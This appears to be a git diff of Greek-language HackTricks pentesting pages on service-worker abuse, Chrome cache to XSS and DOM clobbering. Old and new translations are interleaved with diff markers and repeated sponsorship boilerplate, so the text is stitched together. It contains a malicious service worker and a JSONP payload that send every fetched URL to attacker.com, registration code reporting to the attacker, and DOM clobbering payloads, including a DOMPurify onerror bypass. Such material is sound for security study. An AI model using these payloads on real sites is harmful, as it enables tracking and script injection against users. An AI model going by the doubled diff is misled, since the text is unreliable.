Για να εκμεταλλευτείτε αυτήν την ευπάθεια πρέπει να βρείτε:
Στο παρακάτω παράδειγμα θα παρουσιάσω κώδικα για **εγγραφή ενός νέου service worker** που θα ακούει το συμβάν `fetch` και θα **στέλνει στον διακομιστή των επιτιθέμενων κάθε φορτωμένο URL** (αυτός είναι ο κώδικας που θα χρειαζόσασταν να **ανεβάσετε** στον **διακομιστή** ή να φορτώσετε μέσω μιας **ευάλωτης απάντησης JSONP**):
* Έναν τρόπο να **ανεβάσετε αυθαίρετα αρχεία JS** στον διακομιστή και μια **XSS για να φορτώσετε τον service worker** του ανεβασμένου αρχείου JS
* Ένα **ευάλωτο αίτημα JSONP** όπου μπορείτε να **χειριστείτε την έξοδο (με αυθαίρετο κώδικα JS)** και μια **XSS** για να **φορτώσετε το JSONP με ένα payload** που θα **φορτώσει έναν κακόβουλο service worker**.
Στο παρακάτω παράδειγμα θα παρουσιάσω έναν κώδικα για να **καταχωρήσετε έναν νέο service worker** που θα ακούει το γεγονός `fetch` και θα **στέλνει στον διακομιστή των επιτιθέμενων κάθε URL που ανακτάται** (αυτός είναι ο κώδικας που θα χρειαστεί να **ανεβάσετε** στον **διακομιστή** ή να φορτώσετε μέσω μιας **ευάλωτης JSONP** απάντησης):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
Και αυτός είναι ο κώδικας που θα **καταχωρίσει τον εργαζόμενο** (ο κώδικας που πρέπει να μπορείτε να εκτελέσετε καταχρηστικά ένα **XSS**). Σε αυτήν την περίπτωση θα σταλεί ένα αίτημα **GET** στον **επιτιθέμενο** διακομιστή ειδοποιώντας αν η **καταχώριση** του service worker ήταν επιτυχής ή όχι:
Και αυτός είναι ο κώδικας που θα **καταχωρήσει τον εργαζόμενο** (ο κώδικας που θα πρέπει να είστε σε θέση να εκτελέσετε εκμεταλλευόμενοι μια **XSS**). Σε αυτή την περίπτωση, ένα **GET** αίτημα θα σταλεί στον διακομιστή των **επιτιθέμενων** **γνωστοποιώντας** αν η **καταχώρηση** του service worker ήταν επιτυχής ή όχι:
```javascript
<script>
window.addEventListener('load', function() {
@ -67,43 +70,36 @@ xhttp2.send();
});
</script>
```
Σε περίπτωση κατάχρησης ενός ευάλωτου σημείου JSONP, πρέπει να τοποθετήσετε την τιμή μέσα στο `var sw`. Για παράδειγμα:
Σε περίπτωση κατάχρησης ενός ευάλωτου JSONP endpoint, θα πρέπει να βάλετε την τιμή μέσα στο `var sw`. Για παράδειγμα:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
Υπάρχει ένα **C2** αφιερωμένο στην **εκμετάλλευση των Service Workers** που ονομάζεται [**Shadow Workers**](https://shadow-workers.github.io) που θα είναι πολύ χρήσιμο για την κατάχρηση αυτών των ευπαθειών.
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
Η **οδηγία cache 24 ωρών** περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή παραβιασμένου **service worker (SW)** σε το πολύ 24 ώρες μετά από μια επιδιόρθωση ευπαθειών XSS, υποθέτοντας online κατάσταση πελάτη. Για να μειώσουν την ευπαθεια, οι χειριστές ιστότοπων μπορούν να μειώσουν τον χρόνο ζωής (TTL) του script του SW. Συνιστάται επίσης στους προγραμματιστές να δημιουργήσουν ένα [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) για γρήγορη απενεργοποίηση.
## Abusing `importScripts` in a SW via DOM Clobbering
## Κατάχρηση του `importScripts` σε ένα SW μέσω DOM Clobbering
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
Η λειτουργία **`importScripts`** που καλείται από ένα Service Worker μπορεί να **εισάγει ένα script από διαφορετικό τομέα**. Εάν αυτή η λειτουργία καλείται χρησιμοποιώντας ένα **παράμετρο που μπορεί** να τροποποιήσει ένας επιτιθέμενος, θα μπορούσε να **εισάγει ένα JS script από τον δικό του τομέα** και να λάβει XSS.
**This even bypasses CSP protections.**
**Αυτό ακόμη παρακάμπτει τις προστασίες CSP.**
**Παράδειγμα ευπαθούς κώδικα:**
**Example vulnerable code:**
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
### Με DOM Clobbering
Για περισσότερες πληροφορίες σχετικά με το τι είναι το DOM Clobbering, ελέγξτε:
@ -112,9 +108,9 @@ self.importScripts(host + "/sw_extra.js");
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Αν ο URL/domain όπου το SW χρησιμοποιείται για να καλέσει το **`importScripts`** βρίσκεται **μέσα σε ένα στοιχείο HTML**, είναι **δυνατό να το τροποποιήσετε μέσω DOM Clobbering** για να κάνετε το SW **να φορτώσει ένα script από τον δικό σας τομέα**.
Εάν το URL/domain που χρησιμοποιεί το SW για να καλέσει **`importScripts`** είναι **μέσα σε ένα HTML στοιχείο**, είναι **δυνατό να το τροποποιήσετε μέσω του DOM Clobbering** για να κάνετε το SW **να φορτώσει ένα script από το δικό σας domain**.
Για ένα παράδειγμα αυτού, ελέγξτε το σύνδεσμο αναφοράς.
Για ένα παράδειγμα αυτού, ελέγξτε τον σύνδεσμο αναφοράς.
## Αναφορές
@ -122,18 +118,21 @@ self.importScripts(host + "/sw_extra.js");
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΕΣΜΩΝ ΕΓΓΡΑΦΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα τηλεγράφημα**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,56 @@
# Chrome Cache to XSS
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Περισσότερες λεπτομέρειες [**σε αυτό το άρθρο**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
Περισσότερες λεπτομέρειες [**σε αυτή την αναφορά**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
Η τεχνική που συζητείται εδώ περιλαμβάνει την κατανόηση της συμπεριφοράς και της αλληλεπίδρασης δύο κύριων τύπων μνήμης cache: η **μνήμη cache προς τα πίσω/προς τα εμπρός (bfcache)** και η **μνήμη cache δίσκου**. Η bfcache, η οποία αποθηκεύει μια πλήρη στιγμιότυπο μιας σελίδας συμπεριλαμβανομένου του σωρού JavaScript, έχει προτεραιότητα έναντι της μνήμης cache δίσκου για τις πλοήγησεις προς τα πίσω/προς τα εμπρός λόγω της δυνατότητάς της να αποθηκεύει έναν πιο ολοκληρωμένο στιγμιότυπο. Η μνήμη cache δίσκου, αντίθετα, αποθηκεύει πόρους που ανακτήθηκαν από τον ιστό χωρίς να συμπεριλαμβάνει το σωρό JavaScript και χρησιμοποιείται για τις πλοηγήσεις προς τα πίσω/προς τα εμπρός για να μειώσει το κόστος επικοινωνίας. Ένα ενδιαφέρον στοιχείο της μνήμης cache δίσκου είναι η συμπερίληψη πόρων που ανακτήθηκαν χρησιμοποιώντας τη μέθοδο `fetch`, πράγμα που σημαίνει ότι οι πόροι που ανακτήθηκαν από το URL θα απεικονιστούν από τον περιηγητή από την μνήμη cache.
Η τεχνική που συζητείται εδώ περιλαμβάνει την κατανόηση της συμπεριφοράς και της αλληλεπίδρασης δύο κύριων τύπων cache: η **back/forward cache (bfcache)** και η **disk cache**. Η bfcache, η οποία αποθηκεύει μια πλήρη εικόνα μιας σελίδας συμπεριλαμβανομένου του JavaScript heap, έχει προτεραιότητα σε σχέση με τη disk cache για πλοηγήσεις πίσω/μπροστά λόγω της ικανότητάς της να αποθηκεύει μια πιο ολοκληρωμένη εικόνα. Η disk cache, αντίθετα, αποθηκεύει πόρους που έχουν ληφθεί από το διαδίκτυο χωρίς να περιλαμβάνει το JavaScript heap, και χρησιμοποιείται για πλοηγήσεις πίσω/μπροστά για να μειώσει το κόστος επικοινωνίας. Ένας ενδιαφέρον τομέας της disk cache είναι η συμπερίληψη πόρων που έχουν ληφθεί χρησιμοποιώντας `fetch`, που σημαίνει ότι οι πόροι URL που έχουν αποκτηθεί θα αποδοθούν από τον περιηγητή από την cache.
### Κύρια Σημεία:
- Η **bfcache** έχει προτεραιότητα έναντι της μνήμης cache δίσκου στις πλοηγήσεις προς τα πίσω/προς τα εμπρός.
- Για να χρησιμοποιηθεί μια σελίδα που αποθηκεύεται στη μνήμη cache δίσκου αντί για την bfcache, η τελευταία πρέπει να απενεργοποιηθεί.
- Η **bfcache** έχει προτεραιότητα σε σχέση με τη disk cache σε πλοηγήσεις πίσω/μπροστά.
- Για να χρησιμοποιηθεί μια σελίδα που είναι αποθηκευμένη στη disk cache αντί της bfcache, η τελευταία πρέπει να απενεργοποιηθεί.
### Απενεργοποίηση της bfcache:
### Απενεργοποίηση bfcache:
Από προεπιλογή, το Puppeteer απενεργοποιεί την bfcache, συμμορφούμενο με τις συνθήκες που αναφέρονται στην τεκμηρίωση του Chromium. Ένας αποτελεσματικός τρόπος για να απενεργοποιηθεί η bfcache είναι μέσω της χρήσης της `RelatedActiveContentsExist`, που επιτυγχάνεται ανοίγοντας μια σελίδα με τη χρήση της `window.open()` που διατηρεί μια αναφορά στο `window.opener`.
Από προεπιλογή, το Puppeteer απενεργοποιεί την bfcache, ευθυγραμμισμένο με τις συνθήκες που αναφέρονται στην τεκμηρίωση του Chromium. Ένας αποτελεσματικός τρόπος για να απενεργοποιηθεί η bfcache είναι μέσω της χρήσης του `RelatedActiveContentsExist`, που επιτυγχάνεται ανοίγοντας μια σελίδα με `window.open()` που διατηρεί μια αναφορά στο `window.opener`.
### Αναπαραγωγή της συμπεριφοράς:
1. Επισκεφθείτε μια ιστοσελίδα, π.χ., `https://example.com`.
2. Εκτελέστε την εντολή `open("http://spanote.seccon.games:3000/api/token")`, η οποία έχει ως αποτέλεσμα μια απόκριση του διακομιστή με κωδικό κατάστασης 500.
3. Στη νεοανοιγμένη καρτέλα, πλοηγηθείτε στη διεύθυνση `http://spanote.seccon.games:3000/`. Αυτή η ενέργεια αποθηκεύει την απόκριση του `http://spanote.seccon.games:3000/api/token` ως μνήμη cache δίσκου.
4. Χρησιμοποιήστε την εντολή `history.back()` για να πλοηγηθείτε πίσω. Η ενέργεια έχει ως αποτέλεσμα την απεικόνιση της αποθηκευμένης απόκρισης JSON στη σελίδα.
2. Εκτελέστε `open("http://spanote.seccon.games:3000/api/token")`, που έχει ως αποτέλεσμα μια απάντηση διακομιστή με κωδικό κατάστασης 500.
3. Στην καινούργια καρτέλα που άνοιξε, πλοηγηθείτε στο `http://spanote.seccon.games:3000/`. Αυτή η ενέργεια αποθηκεύει την απάντηση του `http://spanote.seccon.games:3000/api/token` ως disk cache.
4. Χρησιμοποιήστε `history.back()` για να επιστρέψετε πίσω. Η ενέργεια αυτή έχει ως αποτέλεσμα την απόδοση της αποθηκευμένης JSON απάντησης στη σελίδα.
Η επαλήθευση ότι χρησιμοποιήθηκε η μνήμη cache δίσκου μπορεί να επιβεβαιωθεί μέσω της χρήσης των DevTools στο Google Chrome.
Η επιβεβαίωση ότι χρησιμοποιήθηκε η disk cache μπορεί να επιβεβαιωθεί μέσω της χρήσης των DevTools στο Google Chrome.
Για περαιτέρω λεπτομέρειες σχετικά με την bfcache και τη μνήμη cache δίσκου, μπορείτε να βρείτε αναφορές στο [web.dev για την bfcache](https://web.dev/i18n/en/bfcache/) και στα [εγγράφα σχεδίασης του Chromium για
Για περισσότερες λεπτομέρειες σχετικά με την bfcache και τη disk cache, αναφορές μπορούν να βρεθούν στο [web.dev για την bfcache](https://web.dev/i18n/en/bfcache/) και στα [έγγραφα σχεδίασης του Chromium για τη disk cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), αντίστοιχα.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,36 +1,39 @@
# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Βασικά**
Είναι δυνατόν να δημιουργήσετε **παγκόσμιες μεταβλητές μέσα στο περιβάλλον του JS** με τα χαρακτηριστικά **`id`** και **`name`** σε ετικέτες HTML.
Είναι δυνατόν να δημιουργηθούν **παγκόσμιες μεταβλητές μέσα στο JS context** με τα χαρακτηριστικά **`id`** και **`name`** σε HTML tags.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Μόνο** συγκεκριμένα στοιχεία μπορούν να χρησιμοποιήσουν το **`name attribute`** για να αντικαταστήσουν τις γενικές μεταβλητές, αυτά είναι: `embed`, `form`, `iframe`, `image`, `img` και `object`.
**Μόνο** ορισμένα στοιχεία μπορούν να χρησιμοποιήσουν το **name attribute** για να κλωνοποιήσουν τα globals, αυτά είναι: `embed`, `form`, `iframe`, `image`, `img` και `object`.
Ενδιαφέροντα, όταν χρησιμοποιείτε ένα στοιχείο **`form`** για να αντικαταστήσετε μια μεταβλητή, θα λάβετε την τιμή **`toString`** του ίδιου του στοιχείου: `[object HTMLFormElement]`, αλλά με το στοιχείο **`anchor`**, το **`toString`** θα είναι το **`href`** του anchor. Επομένως, αν αντικαταστήσετε χρησιμοποιώντας το στοιχείο **`a`**, μπορείτε να **ελέγξετε** την **τιμή** όταν αντιμετωπίζεται ως **συμβολοσειρά**:
Ενδιαφέρον είναι ότι όταν χρησιμοποιείτε ένα **form element** για να **κλωνοποιήσετε** μια μεταβλητή, θα λάβετε την **`toString`** τιμή του στοιχείου αυτού: `[object HTMLFormElement]` αλλά με **anchor** η **`toString`** θα είναι το anchor **`href`**. Επομένως, αν κλωνοποιήσετε χρησιμοποιώντας την **`a`** ετικέτα, μπορείτε να **ελέγξετε** την **τιμή** όταν **θεωρείται ως συμβολοσειρά**:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Πίνακες & Χαρακτηριστικά
### Arrays & Attributes
Είναι επίσης δυνατό να **καταστρέψετε έναν πίνακα** και **χαρακτηριστικά αντικειμένων**:
Είναι επίσης δυνατό να **καταστραφεί ένας πίνακας** και **τα χαρακτηριστικά ενός αντικειμένου**:
```html
<a id=x>
<a id=x name=y href=controlled>
@ -39,7 +42,7 @@ console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Για να καταργήσετε ένα **τρίτο χαρακτηριστικό** (π.χ. x.y.z), πρέπει να χρησιμοποιήσετε ένα **`form`**:
Για να καταστρέψετε **ένα 3ο χαρακτηριστικό** (π.χ. x.y.z), πρέπει να χρησιμοποιήσετε μια **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
@ -47,17 +50,17 @@ console.log(x.y)//controlled
alert(x.y.z.value)//controlled
</script>
```
Η αντικατάσταση περισσότερων χαρακτηριστικών είναι **πιο περίπλοκη αλλά εξακολουθεί να είναι δυνατή**, χρησιμοποιώντας iframes:
Clobbering περισσότερα attributes είναι **πιο περίπλοκο αλλά ακόμα δυνατό**, χρησιμοποιώντας iframes:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
Η ετικέτα style χρησιμοποιείται για να δώσει αρκετό χρόνο στο iframe να απεικονιστεί. Χωρίς αυτό, θα εμφανιστεί ένα αναπάντεχο μήνυμα **undefined**.
Η ετικέτα style χρησιμοποιείται για να **δώσει αρκετό χρόνο στο iframe να αποδοθεί**. Χωρίς αυτήν, θα βρείτε μια ειδοποίηση **undefined**.
{% endhint %}
Για να αντικαταστήσετε βαθύτερα χαρακτηριστικά, μπορείτε να χρησιμοποιήσετε **iframes με κωδικοποίηση html** με τον εξής τρόπο:
Για να κλωνοποιήσετε πιο βαθιές ιδιότητες, μπορείτε να χρησιμοποιήσετε **iframes με κωδικοποίηση html** με αυτόν τον τρόπο:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
@ -65,9 +68,9 @@ alert(x.y.z.value)//controlled
alert(a.b.c.d.e)//controlled
</script>
```
### **Παράκαμψη Φίλτρου**
### **Παράκαμψη Φίλτρων**
Εάν ένα φίλτρο κάνει **επανάληψη** μέσω των **ιδιοτήτων** ενός κόμβου χρησιμοποιώντας κάτι σαν `document.getElementByID('x').attributes`, μπορείτε να **αντικαταστήσετε** την ιδιότητα **`.attributes`** και να **σπάσετε το φίλτρο**. Άλλες ιδιότητες του DOM όπως **`tagName`**, **`nodeName`** ή **`parentNode`** και άλλες μπορούν επίσης να **αντικατασταθούν**.
Αν ένα φίλτρο **περνάει** μέσα από τις **ιδιότητες** ενός κόμβου χρησιμοποιώντας κάτι όπως `document.getElementByID('x').attributes`, θα μπορούσες να **καταστρέψεις** την ιδιότητα **`.attributes`** και να **σπάσεις το φίλτρο**. Άλλες ιδιότητες DOM όπως **`tagName`**, **`nodeName`** ή **`parentNode`** και άλλες είναι επίσης **καταστρέψιμες**.
```html
<form id=x></form>
<form id=y>
@ -78,17 +81,17 @@ console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Αντικατάσταση του `window.someObject`**
## **Clobbering `window.someObject`**
Στην JavaScript είναι συνηθισμένο να βρίσκουμε:
```javascript
var someObject = window.someObject || {};
```
Η παραπλάνηση του HTML στη σελίδα επιτρέπει την αντικατάσταση του `someObject` με έναν κόμβο DOM, πιθανώς εισάγοντας ευπάθειες ασφαλείας. Για παράδειγμα, μπορείτε να αντικαταστήσετε το `someObject` με ένα στοιχείο αγκύρωσης που δείχνει σε ένα κακόβουλο σενάριο:
Η χειραγώγηση του HTML στη σελίδα επιτρέπει την αντικατάσταση του `someObject` με έναν κόμβο DOM, ενδεχομένως εισάγοντας ευπάθειες ασφαλείας. Για παράδειγμα, μπορείτε να αντικαταστήσετε το `someObject` με ένα στοιχείο άγκυρας που δείχνει σε ένα κακόβουλο σενάριο:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
Σε ένα ευάλωτο κώδικα όπως:
Σε έναν ευάλωτο κώδικα όπως:
```html
<script>
window.onload = function(){
@ -99,27 +102,27 @@ document.body.appendChild(script);
};
</script>
```
Αυτή η μέθοδος εκμεταλλεύεται την πηγή του script για να εκτελέσει μη επιθυμητό κώδικα.
Αυτή η μέθοδος εκμεταλλεύεται την πηγή του script για να εκτελέσει ανεπιθύμητο κώδικα.
**Κόλπο**: Το **`DOMPurify`** σας επιτρέπει να χρησιμοποιήσετε το πρωτόκολλο **`cid:`**, το οποίο **δεν κωδικοποιεί τις διπλές εισαγωγικές**. Αυτό σημαίνει ότι μπορείτε να **εισάγετε μια κωδικοποιημένη διπλή εισαγωγική που θα αποκωδικοποιηθεί κατά την εκτέλεση**. Επομένως, η εισαγωγή κάτι σαν **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** θα κάνει το κωδικοποιημένο HTML `&quot;` να **αποκωδικοποιηθεί κατά την εκτέλεση** και να **αποδράσει** από την τιμή του γνωρίσματος για να **δημιουργήσει** το γεγονός **`onerror`**.
**Trick**: **`DOMPurify`** σας επιτρέπει να χρησιμοποιείτε το **`cid:`** πρωτόκολλο, το οποίο **δεν κωδικοποιεί URL διπλά εισαγωγικά**. Αυτό σημαίνει ότι μπορείτε να **εισάγετε ένα κωδικοποιημένο διπλό εισαγωγικό που θα αποκωδικοποιηθεί κατά την εκτέλεση**. Επομένως, η εισαγωγή κάτι όπως **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** θα κάνει το HTML κωδικοποιημένο `&quot;` να **αποκωδικοποιηθεί κατά την εκτέλεση** και να **ξεφύγει** από την τιμή του χαρακτηριστικού για να **δημιουργήσει** το **`onerror`** γεγονός.
